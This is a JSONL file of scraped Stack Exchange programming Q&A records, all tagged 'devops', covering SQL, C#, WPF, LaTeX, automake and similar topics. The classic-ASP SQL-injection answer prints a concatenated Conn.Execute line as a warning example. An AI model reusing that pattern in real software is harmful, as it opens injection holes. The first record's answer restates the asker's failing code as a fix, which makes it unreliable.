{"id": "hf_159eebb7aae3", "question": "<p>When adding an EditItemTemplate of some complexity (mulitple fields in one template), and then parsing the controls from the RowUpdating event, the controls that were manually entered by the user have no values. My guess is there is something going on with when the data is bound, but I've had instances where simply adding and attribute to a control in codebehind started the behavior and removing that code made the code work.  As a work-around, I can Request(controlname.UniqueId) to get it's value, but that is rather a hack.</p>\n\n<p><strong>Edit</strong>\nWhen I access the value like so</p>\n\n<pre><code>TextBox txtValue = gvwSettings.SelectedRow.FindControl(\"txtValue\") as TextBox;\n</code></pre>\n\n<p>the text box is found, but the .Text is not the user input.</p>\n", "question_body": "", "answer": "You should be able to use the GridViewUpdateEventArgs to retrieve the inputted value, for example:\n```\n```\nTextBox txtValue = gvwSettings.SelectedRow.FindControl(\"txtValue\") as TextBox;\n```\n```\nI have used that syntax before and it works like a charm.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:53.095482"}
{"id": "hf_2751b429b045", "question": "<p>Is there a way set flags on a per-file basis with automake?<br>\nIn particular, if I have a c++ project and want to compile with -WAll all the files except one for which I want to disable a particular warning, what could I do?</p>\n\n<p>I tried something like:</p>\n\n<pre><code>CXXFLAGS = -WAll ...\nbin_PROGRAMS = test\ntest_SOURCES = main.cpp utility.cpp\nutility_o_CXXFLAGS = $(CXXFLAGS) -Wno-unused-value\n</code></pre>\n\n<p>but it didn't work.</p>\n\n<p>EDITED: removed reference to automake manual, which was actually misleading (thanks to Douglas Leeder).</p>\n", "question_body": "", "answer": "You've got confused - that section is referring to options to automake itself.\nIt's a way of setting the automake command-line options:\n-W CATEGORY\n  --warnings=category\n      Output warnings falling in category. category can be one of:\n```\n```\ngnu\n    warnings related to the GNU Coding Standards (see Top).\nobsolete\n    obsolete features or constructions\noverride\n    user redefinitions of Automake rules or variables\nportability\n    portability issues (e.g., use of make features that are known to be not portable)\nsyntax\n    weird syntax, unused variables, typos\nunsupported\n    unsupported or incomplete features\nall\n    all the warnings\nnone\n    turn off all the warnings\nerror\n    treat warnings as errors\n```\n```\nA category can be turned off by prefixing its name with ‘no-’.\n  For instance, -Wno-syntax will hide the\n  warnings about unused variables.\nThe categories output by default are ‘syntax’ and ‘unsupported’.\n  Additionally, ‘gnu’ and ‘portability’\n  are enabled in --gnu and --gnits\n  strictness.\nThe environment variable WARNINGS can contain a comma separated list of\n  categories to enable. It will be taken\n  into account before the command-line\n  switches, this way -Wnone will also\n  ignore any warning category enabled by\n  WARNINGS. This variable is also used\n  by other tools like autoconf; unknown\n  categories are ignored for this\n  reason.\nThe per-file listed in section 17 refers to per-Makefile not source file.\nI'm not aware of any per-source file flag setting, but you can set the option for each result binary with:\n```\n```\nbinaryname_CXXFLAGS\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:53.133727"}
{"id": "hf_aadaf8602f25", "question": "<p>Is there any way to do this in the Powerbuilder properties window for a datawindow's textbox?</p>\n", "question_body": "", "answer": "That kind of depends on how you define \"textbox\", but in general the only way to mix normal and superscript text is with a richtext control. In PB 11.5, you can even use richtext as a column style.\nGood luck,\nTerry.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:53.181464"}
{"id": "hf_85a878820fe6", "question": "<p>How does Stackoverflow implement the resizable textarea?</p>\n\n<p>Is that something they rolled themselves or is it a publicly available component that I can easily attach to textareas on my sites?  </p>\n\n<p>I found this question and it doesn't quite do what I want.</p>\n\n<p><a href=\"https://stackoverflow.com/questions/7477/autosizing-textarea\">autosizing-textarea</a></p>\n\n<p>That talks more about automatically resizing textareas whereas I want the little grab-area that you can drag up and down.</p>\n", "question_body": "", "answer": "At first I believed it was a built-in feature of the\nWysiwym Markdown editor\n, but Shog9 is correct: it's not baked-in at all, but is courtesy of the jQuery plugin TextAreaResizer (I was lead astray by the browser was using to check on the\neditor demo\nbecause Google Chrome itself adds the expandable functionality on textareas—much like the Safari browser does).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:53.279081"}
{"id": "hf_146e94bf2c20", "question": "<p>How can you avoid circular dependencies when you're designing two classes with a producer/consumer relationship? Here ListenerImpl needs a reference to Broadcaster in order to register/unregister itself, and Broadcaster needs a reference back to the Listeners in order to send messages. This example is in Java but it can apply to any OO language.</p>\n\n<pre><code>public interface Listener {\n  void callBack(Object arg);\n}\npublic class ListenerImpl implements Listener {\n  public ListenerImpl(Broadcaster b) { b.register(this); }\n  public void callBack(Object arg) { ... }\n  public void shutDown() { b.unregister(this); }\n}\npublic class Broadcaster {\n  private final List listeners = new ArrayList();\n  public void register(Listener lis) { listeners.add(lis); }\n  public void unregister(Listener lis) {listeners.remove(lis); }\n  public void broadcast(Object arg) { for (Listener lis : listeners) { lis.callBack(arg); } }\n}\n</code></pre>\n", "question_body": "", "answer": "I don't see that being a circular dependency.\nListener depends on nothing.\nListenerImpl depends on Listener and Broadcaster\nBroadcaster depends on Listener.\n```\n```\nListener\n       ^        ^\n      /          \\\n     /            \\\nBroadcaster <--  ListenerImpl\n```\n```\nAll arrows end at Listener.  There's no cycle.  So, I think you're OK.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:53.302805"}
{"id": "hf_9d99bf4172d1", "question": "<p>Well, it seems simple enough, but I can't find a way to add a caption to an equation.\nThe caption is needed to explain the variables used in the equation, so some kind of table-like structure to keep it all aligned and pretty would be great.</p>\n", "question_body": "", "answer": "You may want to look at\nhttp://tug.ctan.org/tex-archive/macros/latex/contrib/float/\nwhich allows you to define new floats using\n```\n\\newfloat\n```\nI say this because captions are usually applied to floats.\nStraight ahead equations (those written with\n```\n$ ... $\n```\n,\n```\n$$ ... $$\n```\n,\n```\nbegin{equation}...\n```\n) are in-line objects that do not support\n```\n\\caption\n```\n.\nThis can be done using the following\nsnippet\njust before\n```\n\\begin{document}\n```\n```\n```\n\\usepackage{float}\n\\usepackage{aliascnt}\n\\newaliascnt{eqfloat}{equation}\n\\newfloat{eqfloat}{h}{eqflts}\n\\floatname{eqfloat}{Equation}\n\n\\newcommand*{\\ORGeqfloat}{}\n\\let\\ORGeqfloat\\eqfloat\n\\def\\eqfloat{%\n  \\let\\ORIGINALcaption\\caption\n  \\def\\caption{%\n    \\addtocounter{equation}{-1}%\n    \\ORIGINALcaption\n  }%\n  \\ORGeqfloat\n}\n```\n```\nand when adding an equation use something like\n```\n```\n\\begin{eqfloat}\n\\begin{equation}\nf( x ) = ax + b\n\\label{eq:linear}\n\\end{equation}\n\\caption{Caption goes here}\n\\end{eqfloat}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:53.353496"}
{"id": "hf_8bded671faa1", "question": "<p>I want to create a VB.NET generic factory method that creates instances of classes (as a home-grown inversion of control container).  If I pass the interface IDoSomething as the generic parameter, I want to return an instance of DoSomething (that implements IDoSomething).  I cannot figure out the syntax of the if statement.  I want to write something like:</p>\n\n<pre><code>Public Function Build(Of T) as T  \n    If T Is IDoSomething then  \n        Return New DoSomething()  \n    ElseIf T Is IAndSoOn Then  \n        Return New AndSoOn()  \n    Else  \n        Throw New WhatWereYouThinkingException(\"Bad\")  \n    End If  \nEnd Sub \n</code></pre>\n\n<p>But this code does not compile.</p>\n", "question_body": "", "answer": "```\n```\nPublic Function Build(Of T) As T\n  Dim foo As Type = GetType(T)\n\n  If foo Is GetType(IDoSomething) Then\n    Return New DoSomething()\n  ...\n  End If\nEnd Function\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:53.382483"}
{"id": "hf_47257e1228af", "question": "<p>What does the following code do in C/C++?</p>\n\n<pre><code>if (blah(), 5) {\n    //do something\n}\n</code></pre>\n", "question_body": "", "answer": "Comma operator is applied and the value 5 is used to determine the conditional's true/false.\nIt will execute blah() and get something back (presumably), then the comma operator is employed and 5 will be the only thing that is used to determine the true/false value for the expression.\nNote that the , operator could be overloaded for the return type of the blah() function (which wasn't specified), making the result non-obvious.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:53.446566"}
{"id": "hf_49099ec66975", "question": "<p>Has anyone ever done work to get Ruby to do continuations (like Seaside on Smalltalk)?</p>\n", "question_body": "", "answer": "Yes, in most cases. MRI (1.8) have supported them as far as my memory reaches, Ruby 1.9 (YARV)\ndoes it, too\n, so does Rubinius. JRuby and IronRuby don't have continuations, and it's quite unlikely they will get them (JVM and CLR use stack-instrospection for security)\nRuby as a language supports continuations via\n```\ncallcc\n```\nkeyword. They're used, for example, to implement\n```\nGenerator\n```\nclass from standard library.\ncontinuations on ruby-doc\nContinuation-based web frameworks (like seaside, or one from Arc's std. library) seem less popular. I've found\nwee\nthat claim to let you do optional continuations, but I've never used it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:53.546972"}
{"id": "hf_a4ee9911d1ea", "question": "<p>Using jQuery, how do you check if there is an option selected in a select menu, and if not, assign one of the options as selected.</p>\n\n<p>(The select is generated with a maze of PHP functions in an app I just inherited, so this is a quick fix while I get my head around those :)</p>\n", "question_body": "", "answer": "Look at the\nselectedIndex\nof the\n```\nselect\n```\nelement. BTW, that's a plain ol' DOM thing, not JQuery-specific.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:53.571318"}
{"id": "hf_e737a595f7d0", "question": "<p>Does BeautifulSoup work with Python 3? </p>\n\n<p>If not, how soon will there be a port? Will there be a port at all?</p>\n\n<p>Google doesn't turn up anything to me (Maybe it's 'coz I'm looking for the wrong thing?)</p>\n", "question_body": "", "answer": "I'm guessing the answer is \"No\".  According to\nPython.org\n:\nPython 3000 (a.k.a. \"Py3k\", and\n  released as Python 3.0) is a new\n  version of the language that is\n  incompatible with the 2.x line of\n  releases. The language is mostly the\n  same, but many details, especially how\n  built-in objects like dictionaries and\n  strings work, have changed\n  considerably, and a lot of deprecated\n  features have finally been removed.\n  Also, the standard library has been\n  reorganized in a few prominent places.\nA better place for this particular question might be the\nBeautifulSoup forum\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:53.619727"}
{"id": "hf_342b4dbcdc9d", "question": "<p>I was currently developing a desktop application in C# using mono and testing in SuSE and Windows. The concept doesn't matter much, but it is a \"web lint\" program that will scan a web site and return possible issues with security and/or cross browser compatibility.  However, I want to be able to offer binaries for multiple platforms.  Should I stay with Mono, or is there another platform that would give me a better availablility of platforms, such as on Macs, Windows, Linux, and others (possibly mobile platforms), and make it easier to port?  </p>\n", "question_body": "", "answer": "Java will run on Windows, Linux and Macs. Should be easy to transition from C# - use Apache HTTPClient for grabbing the web content you are scanning, and the scanning code should be more or less the same. However the downside is requiring the user to have the Java runtime installed.\nPython is another option - you can build stand-alone executables for Windows, and it comes with most Linux distributions by default, and also Mac OS X (citation needed ;) ). This is a lot less hassle for Windows users (language is compiled into the executable, no other downloads required).\nIf mono runs on Mac OS X then surely that is a good platform as well?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:53.644322"}
{"id": "hf_8d97d372d20c", "question": "<p>Is there a clean way of cloning a record in SQL that has an index(auto increment).  I want to clone all the fields except the index.  I currently have to enumerate every field, and use that in an insert select, and I would rather not explicitly list all of the fields, as they may change over time.</p>\n", "question_body": "", "answer": "Not unless you want to get into dynamic SQL.  Since you wrote \"clean\", I'll assume not.\nEdit:\nSince he asked for a dynamic SQL example, I'll take a stab at it.  I'm not connected to any databases at the moment, so this is off the top of my head and will almost certainly need revision.  But hopefully it captures the spirit of things:\n```\n```\n-- Get list of columns in table\nSELECT INTO #t\nEXEC sp_columns @table_name = N'TargetTable'\n\n-- Create a comma-delimited string excluding the identity column\nDECLARE @cols varchar(MAX)\nSELECT @cols = COALESCE(@cols+',' ,'') + COLUMN_NAME FROM #t WHERE COLUMN_NAME <> 'id'\n\n-- Construct dynamic SQL statement\nDECLARE @sql varchar(MAX)\nSET @sql = 'INSERT INTO TargetTable (' + @cols + ') ' +\n    'SELECT ' + @cols + ' FROM TargetTable WHERE SomeCondition'\n\nPRINT @sql -- for debugging\nEXEC(@sql)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:53.703469"}
{"id": "hf_1ac622917ab5", "question": "<p>I am trying to extract a certain part of a column that is between delimiters.</p>\n\n<p>e.g. find foo in the following</p>\n\n<p>test 'esf :foo: bar</p>\n\n<p>So in the above I'd want to return foo, but all the regexp functions only return true|false,\nis there a way to do this in MySQL</p>\n", "question_body": "", "answer": "A combination of\nLOCATE\nand\nMID\nwould probably do the trick.\nIf the value\n\"test 'esf :foo: bar\"\nwas in the field\nfooField\n:\n```\n```\nMID( fooField, LOCATE('foo', fooField), 3);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:53.786592"}
{"id": "hf_3e7964593245", "question": "<p>I have several .NET <a href=\"http://en.wikipedia.org/wiki/Windows_Forms\" rel=\"nofollow noreferrer\">Windows Forms</a> applications that I'm preparing to convert into a <a href=\"http://en.wikipedia.org/wiki/ClickOnce\" rel=\"nofollow noreferrer\">ClickOnce</a>/smart-client deployment scenario. I've read the isn't-this-great tutorials, but are there pitfalls or \"gotchas\" that I should be aware of?</p>\n\n<p>There are several minor applications used off and on, but the main application is in C#, runs 24/7, is quite large, but only changes every few weeks. It also writes to a log file locallly and talks to local hardware devices.</p>\n", "question_body": "", "answer": "Here are a few that I am aware of.\nCan't put an icon on the desktop.\nYou can now.\nI can't install for all users.\nI need to jump through hoops to move the deployment to a different server. It is not a problem if you are developing internally, and the users can see the server that you are publishing to or if you are deploying to the public web, but it is not great if you need to roll out to multiple customer sites independently.\nSince\n.NET\n3.5 SP1 you do not need to sign the deployment manifest anymore which makes it much easier to move deployments to new servers.\nI can't install assemblies in the\nGAC\n. You can get around this by creating regular install packages that are pre-requisites of the ClickOnce application.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:53.823075"}
{"id": "hf_819e50ebc308", "question": "<p>I'm benchmarking a WPF application on various platforms and I need an easy way to determine if WPF is using hardware or software rendering.  </p>\n\n<p>I seem to recall a call to determine this, but can't lay my hands on it right now.</p>\n\n<p>Also, is there an easy, code based way to force one rendering pipeline over the other?</p>\n", "question_body": "", "answer": "Check RenderCapability.Tier\nGraphics Rendering Tiers\nRenderCapability Class\n[\nUPDATE\n]\nRenderCapability.IsPixelShaderVersionSupported\n- Gets a value that indicates whether the specified pixel shader version is supported.\nRenderCapability.IsShaderEffectSoftwareRenderingSupported\n- Gets a value that indicates whether the system can render bitmap effects in software.\nRenderCapability.Tier\n- Gets a value that indicates the rendering tier for the current thread.\nRenderCapability.TierChanged\n- Occurs when the rendering tier has changed for the Dispatcher object of the current thread.\nRenderCapability.Tier >> 16\nRendering Tier 0\n- No graphics hardware acceleration. The DirectX version level is less than version 7.0.\nRendering Tier 1\n- Partial graphics hardware acceleration. The DirectX version level is greater than or equal to version 7.0, and lesser than version 9.0.\nRendering Tier 2\n- Most graphics features use graphics hardware acceleration. The DirectX version level is greater than or equal to version 9.0.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:53.859442"}
{"id": "hf_099ba842f210", "question": "<p>Basically the question is how to get from this:</p>\n\n<pre>\nfoo_id   foo_name\n1        A\n1        B\n2        C\n</pre>\n\n<p>to this:</p>\n\n<pre>\nfoo_id   foo_name\n1        A B\n2        C\n</pre>\n", "question_body": "", "answer": "```\n```\nSELECT id, GROUP_CONCAT(name SEPARATOR ' ') FROM table GROUP BY id;\n```\n```\nhttps://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html#function_group-concat\nFrom the link above,\n```\nGROUP_CONCAT\n```\n: This function returns a string result with the concatenated non-NULL values from a group. It returns NULL if there are no non-NULL values.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:53.884295"}
{"id": "hf_efd79f04a517", "question": "<p><a href=\"https://stackoverflow.com/questions/57168/how-to-copy-a-row-from-one-sql-server-table-to-another\">This question</a> comes close to what I need, but my scenario is slightly different. The source table and destination table are the same and the primary key is a uniqueidentifier (guid). When I try this:</p>\n\n<pre><code>insert into MyTable\n    select * from MyTable where uniqueId = @Id;\n</code></pre>\n\n<p>I obviously get a primary key constraint violation, since I'm attempting to copy over the primary key. Actually, I don't want to copy over the primary key at all. Rather, I want to create a new one. Additionally, I would like to selectively copy over certain fields, and leave the others null. To make matters more complex, I need to take the primary key of the original record, and insert it into another field in the copy (PreviousId field).</p>\n\n<p>I'm sure there is an easy solution to this, I just don't know enough TSQL to know what it is.</p>\n", "question_body": "", "answer": "Try this:\n```\n```\ninsert into MyTable(field1, field2, id_backup)\n    select field1, field2, uniqueId from MyTable where uniqueId = @Id;\n```\n```\nAny fields not specified should receive their default value (which is usually NULL when not defined).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:53.938703"}
{"id": "hf_8fd71ace49d3", "question": "<p>When I dynamically create a Datagrid and add in a new buttoncolumn how do I access the buttoncolumn_click event?  </p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "This article on the MSDN site clearly explains how to go about\nadding a button into a datagrid\n. Instead of using the click event of the button you'll use the command event of the DataGrid. Each button will be passing specific commandarguments that you will set.\nThis article shows\nhow to use the command event with buttons\n. In it you use CommandArguments and CommandNames.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:54.054768"}
{"id": "hf_e7b36e4b2af7", "question": "<p>I ran across the following code in <a href=\"http://www.quietlyscheming.com/blog/\" rel=\"nofollow noreferrer\">Ely Greenfield's</a> SuperImage from his Book component - I understand loader.load() but what does the rest of do?</p>\n\n<pre><code>loader.load((newSource is URLRequest)? newSource:new URLRequest(newSource));\n</code></pre>\n\n<p>It looks like some kind of crazy inline if statement but still, I'm a little preplexed.  And if it is an if statement - is this way better than a regular if statement?</p>\n", "question_body": "", "answer": "this is using the\nternary ?: operator\n.  the first part is the condition, between the ? and : is what to return if the condition is true.  after the : is what to return if the condition is false.\na simpler example\n```\n```\nString str = null;\nint x = (str != null) ? str.length() : 0;\n```\n```\nwould be the same as\n```\n```\nString str = null;\nint x;\nif (str != null)\n  x = str.length()\nelse\n  x = 0;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:54.079332"}
{"id": "hf_b4005a08f4f2", "question": "<p>What is a strong way to protect against sql injection for a classic asp app?</p>\n\n<p>FYI I am using it with an access DB.  (I didnt write the app)</p>\n", "question_body": "", "answer": "Stored Procedures and/or prepared statements:\nhttps://stackoverflow.com/questions/1973/what-is-the-best-way-to-avoid-sql-injection-attacks\nCan I protect against SQL Injection by escaping single-quote and surrounding user input with single-quotes?\nCatching SQL Injection and other Malicious Web Requests\nWith Access DB, you can still do it, but if you're already worried about SQL Injection, I think you need to get off Access anyway.\nHere's a link to the technique in Access:\nhttp://www.asp101.com/samples/storedqueries.asp\nNote that what typically protects from injection is not the stored procedure itself, but that fact that it is parameterized and not dynamic.  Remember that even SPs which build dynamic code can be vulnerable to injection if they use parameters in certain ways to build the dynamic code.  Overall, I prefer SPs because they form an interface layer which the applications get to the database, so the apps aren't even allowed to execute arbitrary code in the first place.\nIn addition, the execution point of the stored procedure can be vulnerable if you don't use command and parameters, e.g. this is still vulnerable because it's dynamically built and can be an injection target:\n```\n```\nConn.Execute(\"EXEC usp_ImOnlySafeIfYouCallMeRight '\" + param1 + \"', '\" + param2 + \"'\") ;\n```\n```\nRemember that your database needs to defend its own perimeter, and if various logins have rights to\n```\nINSERT/UPDATE/DELETE\n```\nin tables, any code in those applications (or compromised applications) can be a potential problem.  If the logins only have rights to execute stored procedures, this forms a funnel through which you can much more easily ensure correct behavior.  (Similar to OO concepts where objects are responsible for their interfaces and don't expose all their inner workings.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:54.130233"}
{"id": "hf_fd0440fde9f4", "question": "<p>I would like to specify a constraint which is another type with a generic argument.</p>\n\n<pre><code>class KeyFrame&lt;T&gt;\n{\n    public float Time;\n    public T Value;\n}\n\n// I want any kind of Keyframe to be accepted\nclass Timeline&lt;T&gt; where T : Keyframe&lt;*&gt;\n{\n}\n</code></pre>\n\n<p>But this cannot be done in c# as of yet, (and I really doubt it will ever be). Is there any elegant solution to this rather than having to specify the type of the keyframe argument?:</p>\n\n<pre><code>class Timeline&lt;TKeyframe, TKeyframeValue&gt; \n     where TKeyframe : Keyframe&lt;TKeyframeValue&gt;,\n{\n}\n</code></pre>\n", "question_body": "", "answer": "As TimeLine is most likely an aggregation of KeyFrames, wouldn't something like:\n```\n```\nclass TimeLine<T>\n{\nprivate IList<KeyFrame<T>> keyFrameList;\n...\n}\n```\n```\nfulfill your requirements nicely?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:54.226832"}
{"id": "hf_20a608d5456a", "question": "<p>I would like to do something like\n     <code>&lt;test:di id=\"someService\"</code>/`><br>\n    &lt;%\n       someService.methodCall();\n    %></p>\n\n<p>where <code>&lt;test:di</code><br>\n gets and instantiates a service bean and creates a scripting variable for use. similar to how jsp:usebean works for example \n    <code>&lt;jsp:useBean id=\"someDate\" class=\"java.util.Date\"</code>/><br>\n    &lt;%<br>\n       someDate.getYear();</p>\n\n<pre><code>%&gt;\n</code></pre>\n\n<p>how do i make my own objects available as a scritping variable?</p>\n", "question_body": "", "answer": "I think you're trying to write your own tag library.\nCheck out the tutorial at:\nhttp://www.ironflare.com/docs/tutorials/taglibs/\nEdit:\nAs Garth pointed out, you want to use the TagExtraInfo class after you've defined your tag lib.\nhttp://www.stardeveloper.com/articles/display.html?article=2001081601&page=2", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:54.292447"}
{"id": "hf_4d11127098c3", "question": "<p>Does anyone know of a method to determine when a file copy completes in VBScript?  I'm using the following to copy:</p>\n\n<pre><code>set sa = CreateObject(\"Shell.Application\")  \nset zip = sa.NameSpace(saveFile)  \nset Fol = sa.NameSpace(folderToZip)  \nzip.copyHere (Fol.items)\n</code></pre>\n", "question_body": "", "answer": "You may have better luck using the Copy method on a\n```\nFileSystemObject\n```\n.  I've used it for copying, and it's a blocking call.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:54.316122"}
{"id": "hf_6f7dccb0de8a", "question": "<p>On the .Net WebBrowser control the only way I can see to load a page to it is to set the URL property.  But I would like to instead give it some HTML code that I already have in memory without writing it out to a file first.  Is there any way to do this?  Or are there any controls that will do this?</p>\n", "question_body": "", "answer": "You want the DocumentText Property:\nhttp://msdn.microsoft.com/en-us/library/system.windows.forms.webbrowser.documenttext.aspx\n?\nfrom\nhttp://www.codeguru.com/forum/showpost.php?p=1691329&postcount=9\n:\nAlso you should provide a couple things:\nDon't set DocumentText in the constructor. Use Form_Load or your own method.\nIf you set DocumentText in the constructor, you will not be able to set it again anywhere in the application. Be sure to check that the Form Designer hasn't set it either.\nYou can only set DocumentText once per method call. This is odd and most likely a bug, but it's true.\nFor example: setting DocumentText in a for-loop will only set properly on the first iteration of the loop.\nYou can however, create a small method to set DocumentText to the passed in string, then call this method in a for-loop.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:54.388256"}
{"id": "hf_7c6d82bec385", "question": "<p>Does anyone have a good technique (or tutorial) to implement rulers within a C# Windows Forms application? I want to display an image while showing rulers that indicate your mouse position to allow a more accurate positioning of the cursor. Just like the image below:</p>\n\n<p><img src=\"https://i.stack.imgur.com/QfIIi.png\" alt=\"Ruler depicting where the cursor is located.\"></p>\n\n<p>I tried using splitter controls to hold the tick marks but I don't know how to make the top-left the gray blank area. Any advice? Thanks.</p>\n", "question_body": "", "answer": "I would build a custom control to do this in both X and Y location and use two controls.\nThe control would have to override\n```\nPaint()\n```\nand use GDI methods to display the tick marks, it would then capture mouse events and update locations appropriately.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:54.449141"}
{"id": "hf_33fdb2deb1bd", "question": "<p>We have a Cash flow report which is basically in this structure:</p>\n\n<pre><code>Date |Credit|Debit|balance|\n09/29| 20   | 10  | 10    |\n09/30| 0    | 10  | 0     |\n</code></pre>\n\n<p>The main problem is the balance, and as we are using a DataSet for the Data, it's kinda hard to calculate the balance on the DataSet, because we always need the balance from the previous day.</p>\n\n<p>Also this data comes from several tables and it's been hard to maintain this procedure, because the database metadata is changing frequently.</p>\n\n<p>Anyone could give me some possible different solutions? for the problem?</p>\n\n<p>This report is being displayed on a DataGrid.</p>\n", "question_body": "", "answer": "On the code side of things, you've got two relatively easy options, but they both involve iterating through the dataset.\noption 1: For loop prior to databinding.\nFor each row in the datatable, add/subtract the credit/debits to the previous row's balance and assign it to the appropriate cell of your datatable.\nOption 2: calculate during databinding.\nFirst you'd have a global variable that you could hold your value in. Set it to zero right before the databind. For each item or altitem, add/subtract the credit/debits to the global variable and assign it to the appropriate cell of your datagrid.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:25:54.473448"}
